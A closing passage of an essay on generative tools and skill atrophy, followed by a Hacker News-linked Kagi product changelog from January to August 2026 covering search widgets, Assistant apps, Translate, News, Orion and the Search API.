This pattern isn't limited to search either. It shows up anywhere people reach for a generative tool to skip the effortful part of producing something, an essay, a difficult message, a first draft of anything. The output is often fine, sometimes genuinely good, which is part of what makes this hard to talk about honestly. But the actual struggle of starting from a blank page is a large part of how people get better at generating ideas in the first place, and skipping that struggle repeatedly doesn't make someone faster at it over time, it tends to make the underlying skill weaker from lack of use.

I want to be clear that I'm not against these tools generally. I use them myself, including for mundane things like tightening up a resume, and there are plenty of contexts where they add real value. The distinction I care about is between a tool that extends what someone is capable of doing and a tool that quietly does the thinking for them while preserving the feeling that they're still in control. Search, at its best, used to require a small amount of genuine cognitive effort: comparing sources, weighing credibility, forming your own synthesis. It was never perfect, but that friction served a purpose. A lot of recent product decisions across the industry, not maliciously, but as a natural consequence of optimizing for engagement, have been quietly removing that friction, and I think it's worth pausing to ask what we're trading away in the process.

I don't have a tidy conclusion here, and I'm skeptical of anyone who claims to. This isn't a problem with an obvious fix, and I don't think one side project changes much about how the incentives above actually work. Mostly I just think it's worth naming what's happening plainly, because the trade is easy to miss when it happens one convenience at a time, and a lot easier to notice once you say it out loud.

Kagi added a setting for removing paywalled links from search results

Hacker News
kagi.com
2026-08-21 09:56:37
Comments...
Original Article

August 21st, 2026 - A new Stocks widget and a better everyday Assistant experience #

Kagi Search

Bringing Stocks up to speed

We've revamped our Stocks widget. It should appear more often when you need it. It can now display information about exchange-traded funds in addition to stocks. Most importantly, it now features a price chart, with animations between time windows that instantly contexturalize how big the price fluctuations you're seeing are compared to the wider story:

The stock widget showing animated transitions between 3 month, 1 year, 5 year, and 1 day price charts

As well, we've added a setting for removing paywalled links from search results automatically.

Kagi Assistant

Everyday use just got smoother

Richer messages
User messages now render links, Markdown, and LaTex. #6674 @oxlvlnle , #3283 @EvacuatedTerminal

More powerful search
Search across all your threads, sort by recency or alphabetically, and start with / to filter by folder.

More control with calmer settings
Now you can choose whether temporary threads stick around for 24h, 7 or 30 days. All within a calmer, easier-to-scan settings experience.

Other improvements and bug fixes

Kagi Search

Kagi Assistant

Assistant Mobile Apps

  • Keyboard shortcut preference to submit prompts on iPads with connected keyboards
  • Back swipe on left side of Kagi Assistant interferes with Android guestures #11126 @mb
  • After opening Kagi Assistant, back swipe on the right side closes the app #11127 @mb
  • Choppy animation in Assistant app #11134 @Temanor
  • Web Search toggle state not maintained between app switches #11140 @ryonic
  • Cannot Login Kagi Assistant 1.0.4 on iOS #11146 @hirsheykiss

Kagi Translate

July 30th, 2026 - Kagi Assistant on the go and design refinements for Search #

Announcing the official Kagi Assistant apps

Kagi Assistant is now available as a native app for iOS and Android !

Ask a question, explore the web, work with files, conduct in-depth research, or choose from leading AI models, all from your phone. Your threads and Custom Assistants stay with you, so you can pick up wherever you left off.

These are the first steps towards delivering a fantastic Kagi Assistant experience on mobile, with much more to come.

Download it now:

Give it a spin and let us know what you think!

Report responses directly from Kagi Assistant

You can now report an assistant response without leaving the conversation. Hover over any assistant message and select the thumbs-down button to open the feedback form, where you can report issues for reasons ranging from UI bugs to harmful content.

Note that when you submit a report, the full thread is shared with Kagi for review. The report and its associated copy of the thread are automatically deleted from Kagi’s review records after 30 days.

Export or delete all your threads

We've also added important controls, so you can now export all your threads or permanently delete them at once from Settings > General .

Kagi Assistant settings panel in dark mode showing the General settings tab, with a modal dialog open asking  with Cancel and Delete all buttons.

Kagi Search

A sharper search experience

We’ve polished the search results page to make its controls easier to find and understand. From the filter bar to domain-related options and menus, these updates bring greater clarity and ease of use to the features you rely on most.

Exchange rates, right in your search results

Next up in our broader effort to improve search widgets: currency conversion. Comes handy when you’re planning a trip, shopping abroad, or simply want to keep tabs on exchange rates.

Kagi search results page for the query  displaying an inline currency converter showing 100 ISK equals 1.12 Canadian dollars.

Other improvements and bug fixes

Kagi Search

Kagi Assistant

Kagi Translate

  • Kagi Translate reloads the page when using website translate #10852 @tijol
  • Dictionary now shows language-specific grammar details, starting with Czech animate/inanimate nouns
  • Proofread no longer suggests changes to text that was already correct, such as de-capitalizing German nouns
  • Translations no longer occasionally come back untranslated
  • Translations keep proper typographic punctuation instead of straightened quotes
  • Alternative translations now work when selecting part of a longer text
  • Double and triple-click selection in the translated text works as expected, and the alternatives panel no longer flickers while loading
  • "New version available" banner appears less often and supports dark mode
  • Reset-All Button for Translate #10999 @erakagi
  • Document Translate for Typst #11098 @weriomat
  • Palestinian Arabic in Translate #11006 @zsoltsb
  • Phonetic Translation Placement #10699 @dwahdany
  • Myanmar alias for Burmese #10495 @mb
  • Translation History panel cannot be closed in Brave (Windows 11) #10997 @vshlapakov
  • Prompt being read prior to translated word #10974 @kagifeedback-1xxkg
  • Kagi Translate Audio Broken #10923 @levers

Kagi News

July 2nd, 2026 - Heads, tails, and an AI toggle #

Kagi Search

New controls to completely turn off AI-based features in search

We've added an option to disable access to AI features in search, under settings/ai .

We're also planning to add this option to onboarding, so new users can personalise their Kagi experience from the start.

It's finally here! We believe that Kagi's application of AI should always be useful - there when you'd like it, and never when you don't, and always respecting your privacy.

This took us some time to navigate the right way to communicate this option. We did not want to create a confusing narrative as a company adding a toggle while continuing to invest in AI features elsewhere in our portfolio. But in the end, we want to stay true to putting you in control of your search engine - so here you are!

We deeply thank the community for their feedback and patience.

Flip coins and more sports widgets

By popular demand, our dice widget has gained the ability to roll dice with any number of sides. We're not sure what kind of games you're playing that need d7s, but we support them now.

We also added support for flipping coins, which are really just two-sided dice when you think about it:

Kagi search results page for the query 'flip 2 coins' displaying a widget that reads '1 head' alongside two illustrated coins.

We've added a set of switches on https://kagi.com/settings/more_search so you can disable any of our widgets you don't want to see. The toggle descriptions include links illustrating the widgets' capabilities so you understand what you're turning on or off; go check it out!

Settings page titled 'Widgets' listing three enabled toggle options: Calculator, Time & Date, and Package Tracking.

Orion browser ✴︎

This week, we’re launching Orion 1.1 for macOS , one of the most significant updates in our history. This version is built around three major new features (in addition to 170+ smaller improvements and bug fixes).

A New Interface ✴︎
When Apple released LiquidGlass , the reception was mixed—even within our own team. The demand was there, but we weren't ready to just copy-paste what Safari had done. They had even removed compact tabs!
So, we created our own implementation.

Containers ✴︎
Just like Firefox, we now offer containers. What are they? Each tab becomes completely isolated from the others: total privacy and the ability to log into multiple accounts on the same site from the very same window!

Browser window showing the Facebook login page with a container menu open offering options to open a new tab in different containers such as Shopping, Social media, or Flights.

A Personalized Browser Border ✴︎
The current trend is an elegant, transparent border seen on many browsers. The problem is, they don't match Apple's design language. So, what did we do?

As we usually do: we made it an option! And we took it even further: transparency, solid colors, gradients, and even an automatic color-match with the website for total immersion.

This option is exclusively available to Orion+ subscribers.

Orion+
Orion is your free browser, but we offer a support plan to maintain the independence that guarantees your data is not, and will never be, sold to advertisers—or worse.

We have a dedicated website where you can download all the versions we currently support, as well as any we may support in the future (macOS, iOS, iPadOS, Windows, and Linux): https://orionbrowser.com

Kagi News & Kagi Translate

Kagi News and Kagi Translate have both been successes that took us by surprise.

Kagi News users from all over the world loved being able to read their news in the language of their choice, stress-free, and even add new topics.

Kagi Translate users loved the contextual features that provide a spectacular translation quality — far beyond what typical machine translation offers.

But these unexpected successes led to a massive spike in our costs for applications offered for free.

As a result, we have temporarily removed translations and left access to the articles’ original languages as well as English. Kagi Translate will be back in the coming days as a subscription-based service.

Thank you for your patience and your trust 🙏 we hope to have everything up and running again very soon!

Other improvements and bug fixes

Kagi Search

Kagi Assistant

June 16th, 2026 - Search widgets catching up, Assistant starts fresh #

Bringing search widgets up to speed

We’re starting a broader effort to improve our search widgets! First up: sports scores and dice rolling.

Sports scores now show up in a sidebar next to search results, so you can quickly check upcoming games, live scores, and recent results, just in time for the World Cup .

A screenshot of a Kagi search results page for `world cup games` displaying FIFA World Cup 2026 scheduling information and a side panel showing live and finished match results for various international groups.

And we’ve also added dice rolling support for all you gamers out there, in case you ever need to roll a d20 , 2d4 + 2 , or perhaps even 8d6 .

The new Kagi Assistant is here

Over the last few weeks, we’ve been rolling out a new Kagi Assistant experience. Most of you are already using it, and today we’re officially retiring the old assistant.

This is more than a visual refresh, we rebuilt the Assistant experience around a new layout, smoother web and mobile use, and a lot of UX improvements that add up quickly.

And just as importantly, this gives us the foundation we need for the next set of Assistant improvements we’ve been working towards.

Note: there is one notable change - folders have replaced tags. This means each thread can now belong to only one folder. We appreciate this is a downgrade for users who relied on multiple tags per thread, and we don’t want to handwave that away. We made this tradeoff because folders give Assistant a simpler, more predictable organisation model, and because multi tag usage was relatively low: about 20% of active accounts used tags at all, and appx 4% had any thread with more than one tag.

Still, for those affected, we understand this change may be frustrating. Thank you for bearing with us as we build towards a stronger Assistant experience!

Kagi Translate update

We've paused free access to Kagi Translate while we sort out running costs, so you'll need to be signed in to use it. If you have an active subscription, Translate still works. Sign in on translate.kagi.com or in the mobile apps. We share more details on this decision in this blog post .

Other improvements and bug fixes

Kagi Search

Kagi APIs

  • NEW: Extraction now keeps links from the original document, to enable deeper crawling flows.
  • NEW: Related searches is now part of the API responses, with more metadata than the v0 version where applicable.
  • NEW: Per-key cost tracking is now enabled. You can select a key in the usage page to see the specific key cost attached. (Cost tracking only available from when we deployed, historic data is not present.)
  • Fix: Extraction is now faster and more reliable.
  • Fix: Personalization rule types are now correctly validated with the doc types.
  • Fix: Various other internal improvements for a more stable experience.

Kagi Assistant

Kagi Translate

Post of the week

This week's featured social media mention:

Bluesky post from public health guy saying: been using it for a few years and it's basically my third most important subscription now, after internet and water

Featured Kagi tip 💡

Here's a guide on how to make Kagi truly yours with custom CSS. Tweak colors, fonts, and layout, hide elements you don't need, or apply a community theme for a search experience that looks exactly how you want.

Collage of Kagi Search screenshots showing custom CSS themes, with handwritten labels pointing to a high contrast view for low vision, glassy image search effects, a tighter compact layout, and a custom color scheme palette.

May 21st, 2026 - Search API preview opens to all users #

Kagi Search API is now in public preview

Today we’re making the Kagi Search API preview publicly available, giving builders access to Kagi search across web, images, videos, news, and podcasts. The API is ready to use today, and we’re using this preview to transition existing beta API users, collect feedback, and finish the remaining launch details before the official announcement.

As a thank you to our subscribers, we’ve added $5 in API credits to your account. You can use them right away to try the API, explore what’s possible, and see how it fits into your workflow.

Explore the API , read the docs , and check pricing to get started!

The API is not just a generic search endpoint, queries can inherit the preferences attached to the Kagi account behind the API key, including lenses, upranks, downranks, and blocklists, so applications can search through the same trusted and filtered view of the web that users have already shaped in Kagi.

Please send us candid feedback : what’s confusing, missing, broken, or unexpectedly good! Try it out !

Search

Incognito-only mode for Privacy Pass

Our Privacy Pass extension, which allows you to prove to our servers that you're a subscriber without revealing your identity, has gained a long-awaited toggle that makes it active only in incognito windows, so you can benefit from personalized results most of the time but have added anonymity for your more sensitive browsing. The extension was almost completely rewritten in the process, squashing several long-standing bugs. Try it out!

Assistant

Kagi Translate

New on the Kagi Translate mobile app

Support for custom languages, explanations for alternative translations, word suggestions for dictionary mode, app shortcuts, and many other improvements!

Grab the app if you haven't already: Android or iOS

Post of the week

This week's featured social media mention :

Featured Kagi tip 💡

We put together a guide on using Kagi for academic work - the features, shortcuts, and search habits to get precise, more relevant results.

Around the block

A handful of posts worth sharing with our community:

Kagi video

A quick video from our team to serve as a reminder of what Kagi is all about: the web, and your time on it, belong to you.

April 30th, 2026 - Kagi API preview and ecosystem updates #

Kagi APIs: the same search technology that powers Kagi is opening up to developers

Starting next week, we’ll begin onboarding developers to the Kagi API dashboard. Access will roll out first to people who joined the API waitlist or contacted Kagi support.

With the new Search API developers can bring Kagi Search into their own apps, tools, and AI systems. Here's an early look:

Kagi API developer dashboard Overview page

If you'd like to join this early preview of the Kagi API, please fill out this form. We'll reach out next week!

Kagi Search

New landing

We updated our landing page to bring awareness to Kagi's wider ecosystem beyond search. Check it out!

This is the first of many steps toward helping more people discover everything Kagi has to offer.

Kagi Assistant

  • We increased the Assistant's file upload size limit to 30 MB #8872 @mrzv
  • Degradation of file analysis functionality in Kagi Assistant #10290 @v3max
  • Umlauts are sometimes not displayed in the Quick Assistant #9289 @Kel
  • Universal summarizer "Continue in Assistant" button fails: "We are sorry, this input is not supported. (Invalid Input)" #10368 @Self-Perfection

Kagi News

  • Kagi News -> timeline ambigious #8525 @yeri
  • Story corrections, both from user reports and our own continuous fact-checking. When something turns out to be wrong, we fix it and show a small correction notice on the story, with the changed sentence highlighted on your next visit.
  • Stories can pull in related coverage from other categories, so a single big story can span Science, World, and Tech when it makes sense.
  • Cleaner prose in hard-news categories: fewer filler phrases, less editorializing, more neutral writing.
  • Snappier all around: faster initial load, much faster story search, and browser back/forward now restores the page instead of reloading it.
  • Custom category order syncs reliably across devices now. Fixed several cases where reorders were lost or overwritten.
  • Category tabs use proper ARIA semantics for assistive tech.

Kagi Translate

  • Keyboard shortcuts in Kagi Translate #10306 @mb
  • Poor text formatting of image translations on Kagi Translate app #10016 @San
  • Pinyin absent for alternative translations #10340 @phuertay
  • Add Seto and Võro to Kagi Translate #10324 @mb
  • Correct file extensions when saving translations #10311 @mb
  • Add Montenegrin as an option in Translate #10230 @mb
  • Pasting text in Translate app is hard #10047 @marty
  • Pasted text from books or PDFs is auto-formatted: broken mid-sentence line breaks, hyphenation across lines, and stray whitespace get cleaned up. An undo toast lets you revert if you wanted the original.
  • Auto-language switch now shows a toast with undo, and skips ambiguous cases like uncertain, mixed, or mid-typing input.
  • Pin any language to the top of your list, including custom or non-standard ones.
  • Romanization shown beneath alternative translations into Japanese, Chinese, Korean, Arabic, Russian, and other non-Latin scripts.
  • Link previews (Open Graph) for translated text now show the actual translation when shared on social media, instead of a generic logo. The /extension page also got its own dedicated preview.
  • New languages: Seto, Võro, Montenegrin, and Badini Kurdish (with both Arabic and Latin Hawar scripts).
  • Formal Ukrainian now correctly capitalizes Ви and Ваш.
  • Downloaded translations get the right file extension based on the detected content format.

Post of the week

alt

Follow us and tag us in your comments, we love hearing from you.

Kagi is growing

The team is expanding, and we're looking for talented people who want to help build a better web alongside us. We're hiring for multiple roles, including:

  • Product Designer (UI/UX) : Take strategic ownership of end-to-end design across Kagi's product ecosystem. Apply here.

  • An Education Partnerships Lead : If you believe the most important thing technology can do for students is teach them how to think for themselves, we'd like to talk. Apply here.

  • A Senior Platform Engineer : If you have strong opinions about API contracts, auth correctness, and migrating user data without losing anyone's trust, we'd like to talk. Apply here.

We also have openings for a Senior Search Engineer, Senior Platform Engineer, Senior Full-Stack Developer (Kagi Labs), and an AI Specialist. See the full list of openings here.

Kagi tip of the week 💡

Between AI-image filters, clickbait controls, reverse lookup, and source filters, there's a lot of power hiding behind the Images and Videos tabs. Here's how to get the most out of them .

Kagi art

Less scrolling, more living.

Cartoon illustration with the text "Most search engines want to keep you scrolling. Kagi wants to set you free." Below, two stick figures exchange a glowing box labeled "what you were searching for"—one says "Found it! Now go and enjoy your day!" and the other replies "Perfect!"

April 9th, 2026 - Tuning the Orchestra #

Improvements and bug fixes

Kagi Search

Kagi Assistant

Kagi Small Web

  • iOS Small Web Dark Mode App Icon #10136 @Cal4T5
  • Add a tap-based way to switch posts
  • Fixed incorrect text formatting for bookmark titles

Kagi Translate

  • Warning badge when translating to/from language using custom instructions
  • Wordplay and puns lost in translation are now detected and surfaced to the user if word insights are enabled @zark
  • Fixed Spanish text sometimes appearing in French translations on Standard mode @UAguy
  • Fixed Japanese/Chinese/Korean IME first character being lost in empty editor @jisaker
  • Proofreading a Word Document #8810 @jmvleal
  • Translate UI does not respect settings #9944 @mmartinortiz
  • Fix: clear button not working on mobile due to composing state #unknown @unknown
  • Same Language bug #10134 @KikoAnimations
  • Fixed website translation stacking duplicate header bars when switching languages, and Google redirect URLs not being unwrapped
  • Fixed clear button not working on mobile after pasting, restoring history, or during keyboard composition
  • Fixed error when pasting rich text from webpages
  • Fixed translation between same-language variants (e.g. pt-BR to pt-PT) echoing input instead of translating
  • Fixed intermittent text-to-speech 503 errors
  • Renamed "Azeri" to "Azerbaijani" to match ISO 639 standard
  • Korean formality settings now apply to ko-KR locale @Hanbyeol
  • Decreased AI refusals when translating text and images
  • Pin "Detect Language" at the top of the source language selector for quick access @pineafan
  • Add Montenegrin as an option in Translate @mb
  • Improved keyboard shortcuts @mb

Blast from the past

Kagi's April Fools' homepage redesigned as a 1990s web portal, with a bright orange/yellow color scheme, starry border, retro logo, a "Fetch!" search button, nostalgic suggested searches like "Dial-up or ISDN?", sections for blog posts, app downloads, and community links, sidebar ads for Orion Browser and Kagi merch, and a deliberately broken PHP visitor counter in the footer.

The retro homepage we implemented for April Fools may be gone, but many of you are not ready to let go of the nostalgia just yet.

Here's a dedicated URL to bring it back whenever you want: https://kagi.com/?year=1996

This sets a cookie so your device remembers. To undo it, click Back to the Future at the bottom of the page or visit https://kagi.com/?year=present_day

Post of the week

Here is this week's featured social media mention :

Social media post from dietrich at burrito.space reading: "normalize paying for critical social infrastructure (or running it) works for search: i am a happy paying customer of kagi.com, a search engine that finally shows me results relevant to what i search for"

Follow us and tag us in your comments, we love hearing from you!

Kagi tip of the week 💡

Did you know you can set up URL redirects to reroute search results to the sites or frontends you prefer? Here's how , with examples from the community.

Kagi art

AI and ads are a toxic combo. Across the Kagi ecosystem, there are no ads, and we're actively working to keep slop out of your search results. Read more about Kagi's SlopStop initiative here .

Comic showing an "AI Slop Machine" fed by boxes labeled "ADS" via conveyor belt, spewing out piles of slop, while stick figures watch in disgust saying "So THAT'S what it's made from?!"

March 19th, 2026 - Small Web Expansion and Translate goes viral #

Kagi Small Web just got bigger!

Multiple mobile screenshots of the Kagi Small Web app displaying blog posts, topic filters, and content categories

Kagi's Small Web just got a whole lot bigger. With over 30,000 feeds and new browser extensions, mobile apps, and categories, there's never been a better way to discover the independent web.

Read the full announcement here! And check out the TechCrunch coverage .

Kagi Translate goes viral!

On March 16, we launched our latest fun language on Kagi Translate, LinkedIn Speak , and it quickly went viral on social media, generating millions of engagements. Check out some of the press coverage below:

Screenshot of Kagi's translation tool translating 'I got a new job; into 'LinkedIn speak' producing an overly enthusiastic corporate-style announcement with superlatives, gratitude, and a rocket emoji.

Also, a friendly reminder: the Kagi Translate apps launched a few weeks ago and are already earning solid reviews. Go grab them if you haven't yet!

Improvements and fixes

Kagi Search

Kagi Assistant

Kagi Translate

Mobile Apps

Kagi News

Mobile Apps

  • Time Travel : Browse news history by date. Pick any day on the calendar and read past summaries.
    Kagi Time Travel beta interface showing February 2026 calendar with blue dots indicating available historical daily summaries for most dates

  • Content Filter : Hide or blur topics you'd rather skip. Choose from built-in presets or add your own keywords.
    Filter Presets interface for selecting feed topics. Politics section is checked and expanded, showing 11 keywords including trump, biden, election, democrat, republican, congress, senate, parliament, minister, government, and politician. Conflicts section is unchecked and collapsed, showing 12 keywords available

Post of the week

Here is this week's featured social media mention :

Bluesky post from the user "Oskars" which reads: Alright, 
@kagi.com
, I'm hooked. I've been trying it out for a while, and now I don't even want to think about going back to something else. One of the easiest subscriptions to agree to. So much time saved not looking at garbage that isn't what I was searching for.

Don't forget to follow us and tag us in your comments, we love hearing from you!

Kagi Specials

Kagi's dog mascot looking at a monitor displaying Kagibara, another Kagi character with a scratched-out face, with Kagi + EasyOptOuts logos below.

We're excited to welcome the newest addition to our Kagi Specials program: EasyOptOuts ! Kagi members in the U.S. now enjoy 25% off for life.

This is a service that removes your name, address and phone number from 200+ data brokers and people-search sites automatically. Deal is reciprocated here for any EasyOptOuts subscribers in your network who want to try Kagi.

Kagi art

"Free" search costs more than you think. With Kagi, you get zero ads, zero tracking, and AI on your terms.
A comic flowchart comparing other search (free) vs. Kagi's 5 dollars a month. The free search forces AI results with ads and takes your data regardless. Kagi lets you choose AI or not, with no ads and no tracking.

Feb 26th, 2026 - Smoothing the edges #

Kagi Search

Wolfram|Alpha widget supercharged

We're introducing a new and improved Wolfram|Alpha widget with support for rich equations, plots, better region-dependent queries, and more!

Kagi search results for 'derivative x ^ 1/2' showing a math widget with the integral of 1/(2√x) dx = √x + constant, a small plot of the function near x = 0, and the note 'no roots exist.'

Other improvements and bug fixes

PS, we've started publishing results for your SlopStop reports -- see them here . More details in the upcoming changelog.

Kagi Assistant

Kagi Maps

Kagi Translate

Kagi Translate - iOS and Android apps

  • Fix needed for Korean word order of "total" count #9718 @Hanbyeol
  • Make “Translate with Kagi” appear directly in Android text selection menu #9801 @Matou
  • Added 'email' writing style for proofreading
  • Added setting to toggle haptics ON/OFF
  • Fixed UI issue on Android where certain elements were being drawn under system bars

Post of the week

Here is this week's featured social media mention :

Screenshot from Bluesky of a post by Bryan Culberson which states: I recently switched to paying for Kagi to replace Google Search, and it is like living in the 2010s again. Search actually works! If I had to choose 10 dollars a month for working search is worth way more to me than a Netflix subscription.

Don't forget to follow us and tag us in your comments, we love hearing from you!

Kagi Specials

Illustrated mascots of both Kagi, a cartoon dog, and Windscribe, a small robot character, alongside the logos of both companies

Kagi is happy to be part of the privacy alliance with Windscribe, a feature-rich VPN with built-in ad and malware blocking and audited no-logs policy.

Through this partnership via Kagi Specials , Kagi members receive a 3-month Windscribe Pro trial, then lock in the Pro plan at just $49/yr for life . In turn, Windscribe members get 3 months of Kagi's Professional plan.

Community creations

If you're using Scribbles to run your blog, you can now add Small Web badges directly to your blog footer, just head to the new "Small Web" section in your blog settings:

Settings panel for selecting built-in Small Web badge icons, showing seven pixel-art badge variants in different sizes and styles with selectable checkboxes.

Kagi on TV!

Kagi was prominently featured as a private alternative to Google on KTLA 5 News, including an interview with Kagi's very own John Bardinelli, who recently joined the team as our Growth Manager.
Screenshot of Kagi Search's homepage on the KTLA channel, in a segment by Rich on Tech

Feb 12th, 2026 - Kagi Translate on Android & iOS: translate anything, anywhere #

Kagi Translate Arrives on Mobile

Kagi Translate is now available as an app for Android and iOS !

The app supports over 248 languages and offers context-aware image translation, live voice-to-voice conversations, and a rich dictionary with audio, to name just a few of its features.

Kagi Translate mobile app interface showing multiple screens including dictionary definitions, voice translation, conversation mode, translation style settings, and text editing features

Read the full announcement and feature highlights here.

Fast Company featured the launch as a privacy-first Google Translate alternative worth noticing. A similar guide was published on The Intelligence, which covers tips and tricks to help users get the most out of Android devices.

Other improvements and bug fixes

Kagi Translate apps

  • Allow removing individual translation history entries in kagi translate mobile app #9774 @alcroito
  • Kagi translate mobile app: Editing text in the middle causes scrolling / jumping around, makes it hard to edit #9758 @alcroito
  • Inconsistent Swipe-to-Go-Back Gesture in Kagi Translate (iOS) #9729 @xx
  • An option to individually delete translations on Kagi Translate #9713 @xx
  • Kagi Translate iOS App reports "No Connection" #9679 @Frank

Kagi Search

We've added a new copy emoji widget!

{search results for the query "flower emoji" showing several flower emojis that are able to be copied}

Kagi Assistant

  • We've made changes to how we phase out older or superseeded models. When a model is being phased out, your Custom Assistants using it will first show a warning for ≈2 weeks. Once the model is fully retired, the Custom Assistant is disabled until you update the model in settings. #5597 @Thibaultmol
  • Larger copy-pasted content is now automatically converted to a .txt file and works like any other attachment. This ensures the full original content is always preserved, even in very large threads that hit context window limits. In most cases, it remains fully within the context window. In longer threads, the original content is stored separately and retrieved as needed.
  • Do not re-rank Assistant threads when their title changes #8434 @dreifach
  • Remove ads/upselling for flagship AI models in Kagi Assistant #9693 @lasu
  • Kagi Assistant customize tab styling error #9688 @gromgrom
  • Performance improvements when submitting prompts on accounts with a lot of threads

Post of the week

Here is this week's featured social media mention :

Social media post from Spencer's Butte's Shadow on Bluesky, praising Kagi search, highlighting its ability to filter out SEO sites and ads, and create search bubbles for legitimate cooking sites only.

Be sure to follow us and tag us in your comments!

Fastmail supports Kagi Search

To mark Safer Internet Day, Fastmail explains why your search engine matters just as much as your email provider when it comes to privacy, and why they recommend Kagi to their users: "Adding Kagi creates a powerful privacy stack".

Addy.io joins Kagi Specials

Side by side graphic of Kagi's logo and Addy's logo

We're excited to welcome Addy.io as a new partner on Kagi Specials ! Addy.io is an email forwarding and alias service that helps protect your privacy by allowing you to create unlimited email aliases.

As part of this partnership, Kagi users can now access exclusive discounts through Kagi Specials, and Addy.io users can discover Kagi through their perks program.

Jan 29th, 2026 - Assistant reliability upgrades and Search refinements #

Waiting for dawn in search

We published a new blog post on the state of search and the critical need for open index access. The dawn of a healthier, user-centric web is possible, but it requires structural change.

https://blog.kagi.com/waiting-dawn-search

Kagi Search

  • We've upgraded our Academic lens! Try it when you want research results drawn from scholarly and professional sources. Ideal for topics like medicine, sports science, or other specialist fields
  • Added functionality for users to manually set their location, improving local search queries. This is part of our weekly incremental improvements to localised search in Kagi.
    A map interface overlay titled 'Select Location on Map' showing Melbourne with a blue marker indicating a selected location. . A 'Save location' button appears at the bottom of the interface.
  • Several accessibility improvements have been made, including corrected roles and proper fieldset semantics for our dropdown menus throughout the site, thanks to Tamara Cook, an accessibility consultant who proactively reached out to us via our support email. Thank you very much for the input!
  • If search fails because no upstream sources responded in time, show Click to Retry #7795 @kirkmc
  • New favicon pixelated when default search engine (Firefox?) #9585 @Replica6
  • Related search suggestion for current search #7781 @Keli
  • Unable to Renew Plan After Reaching Limit in Kagi Assistant #7152 @0rb
  • Orion+ renewal date is in the past #9608 @marcel
  • Control Center is accessible when browsing via privacy pass and features do nothing #9588 @Sludge
  • False summary of wikipedia article #5007 @greyfivenine8244
  • "uploaded file" appears in web search when switching from image search #9566 @Arlo
  • Support define:<term> #6040 @yeri
  • Mobile back to top/search appears too easily #8215 @Numerlor
  • Hide Stats Button Missing #9065 @Timmy256
  • Kagi light theme issue on Steam embedded browser #8384 @JulianGro
  • Programming lens doesn't work #8310 @Khyta
  • Make Wikipedia bang/snap region neutral #8069 @Thibaultmol
  • Incorrect timezone for Kazakhstan #8964 @mxp
  • Related search suggestion for current search #7780 @Keli

Kagi Search Android

Screenshot of the Kagi Browser General Settings interface. It displays multiple options with the setting Open in External Browser highlighted and toggled on.

  • The app now follows the "Open in External Browser" setting, opening search results either in-app or in your default browser

Kagi Assistant

  • Recommended models are now more useful to users. We clearly outline which base models we recommend: best fast (speed), best balanced (speed<>depth), best overall (max quality)
    Kagi Assistant showing an open model picker menu with 'Recommended models' including Kimi K2, GLM-4.7 and Claude 4.5 Opus.
  • We've made several changes to ensure the Assistant reconnects you to any response in progress if your network connection drops or you navigate away from your browser. This means no more loading animations while you wait 🚧
  • Image generation does not work with Research Assistant #9071 @darsnack
  • Kagi Assistant — attached files don't remain attached in edited queries #6652 @dreifach
  • Complex branching scenarios no longer result in duplicate entries in the branch picker or showing < 0 / x >
  • Added Kimi K2.5 models
  • Some Assistant Search Queries Don't Return #8174 @iamjameswalters
  • In Assistant, Kimi K2 (reasoning) is rated with the same speed as K2 despite being described as "much slower" #9665 @RonanCJ
  • Shared thread doesn't show read only UI after clicking away and back in #7951 @Numerlor
  • Change reasoning effort for Claude Opus 4.5 #9610 @kray

Video tutorials and guides

We have a YouTube playlist with all kinds of guides, quick tips and tricks to help you get the most out of your Kagi subscription.

Illustration of a vintage film camera with the YouTube play button logo displayed on its viewfinder screen, with strips of film reel flowing out from the camera against a gray background and Kagi's mascot dog viewing the screen

Post of the week

Here is this week's featured social media mention :

Bluesky post from Connor Feeley saying Kagi is worth the monthly subscription and that despite being on the fence about paying for search, being able to block and change the ranking of sites is worth it to him

We truly appreciate your support in spreading the word, so be sure to follow us and tag us in your comments!

Kagi art

Technology should serve you, not trap or burden you.

Two-panel comic comparing how technology is versus how it should be. Left shows a stick figure trapped inside a blue screen, right shows a figure confidently holding technology as a tool.

Jan 15th, 2026 - New Year tune-up: smoother everything! #

Kagi Search

Kagi Search Android app

We’ve made meaningful improvements to the Kagi Search app — faster performance, smoother overall experience. If you’re on Android, give the update a try.

We also hope this makes it even easier to share Kagi with the people you care about. Let us know what you think !

  • Improved app startup time
  • Updated search home screen with native text editing
  • Updated home screen widgets with faster access to Translate, Summarize and Assistant
  • Add settings to Kagi Search app to autofocus the search bar on launch and to move the search bar to the bottom #9042 @conradsrc
  • Improvements/fixes to the Android app screenshots #5019 @Niraj
  • Android app: Pressing Enter on a physical keyboard should search #8838 @ItsHarper
  • Android app: image, news... etc don't stay selected in the first screen #7207 @Ronzino
  • Android Share Menu: "Assistant" option appears twice, first instance should be labeled "Search" #8773 @artemp84
  • Image Search With Camera #5032 @Wes
  • Add voice search #3270 @Browsing6853
  • Launching translate from the Android widget is very slow #8453 @zslayton
  • Fixed login for Github connected accounts

Other fixes and improvements

Kagi Assistant

  • We upgraded to GLM 4.7 (with thinking variant)
  • Case-agnostic alphabetical sorting for tags #8967 @lolroger
  • Make searching on/off more clear
  • Special characters like German Umlaut (ä, ö, ü etc.) are broken when customizing Assistant #9501 @Felensis
  • The first letter(s) of Grok 4 responses are cut #9484 @4fzx6
  • Problem with unicode characters in assistant's output #9345 @chbug
  • Kagi Assistant Thread Search Performance degradation (WebKit?) #9462 @tockrock
  • Diacritics in filenames prevent document analysis #9361 @noquierouser
  • Allow immediate typing when you load the Assistant #9401 @Thibaultmol-kagi
  • Research (Experimental) can now generate and edit images
  • Model selection window breaks into two lines in CJK languages #9032 @Hanbyeol
  • Kagi Assistant: Renaming a thread does not allow you to select single words or characters in the thread name #8909 @__
  • Assistant lens dropdown sometimes lights purple with no lens selected #9169 @howie
  • Message info now includes timestamp of when the prompt was submitted

Kagi News

  • Time Travel mode to access past daily summaries - available to all during beta, subscriber-only after
  • Paywall indicator for paywalled domains
  • Keyboart shortcuts for navigation do not work as expected @mr-f00
  • Wide screen mode @xatier
  • Added Estonian as UI language @Tarpsvo
  • Heat index graph does not update when refreshing news from notification #9547 @ashemedai
  • Allow user to set a universal reading level for category #9531 @cakeboss
  • Ordering Sources List in Kagi News #9450 @catfriend
  • Links to source articles should be actual links #9273 @r5x

Kagi News Apps (iOS and Android)

  • Faster app launch and improved offline support
  • Pull-to-refresh added to the feed
  • Category settings now include search for easier discovery
  • Sources section in story view now shows the number of publishers and articles
  • Support for selecting multiple content languages, stories are automatically translated to your primary language when needed #8822 @LordDuckingling
  • Exception messages are now localized for better clarity
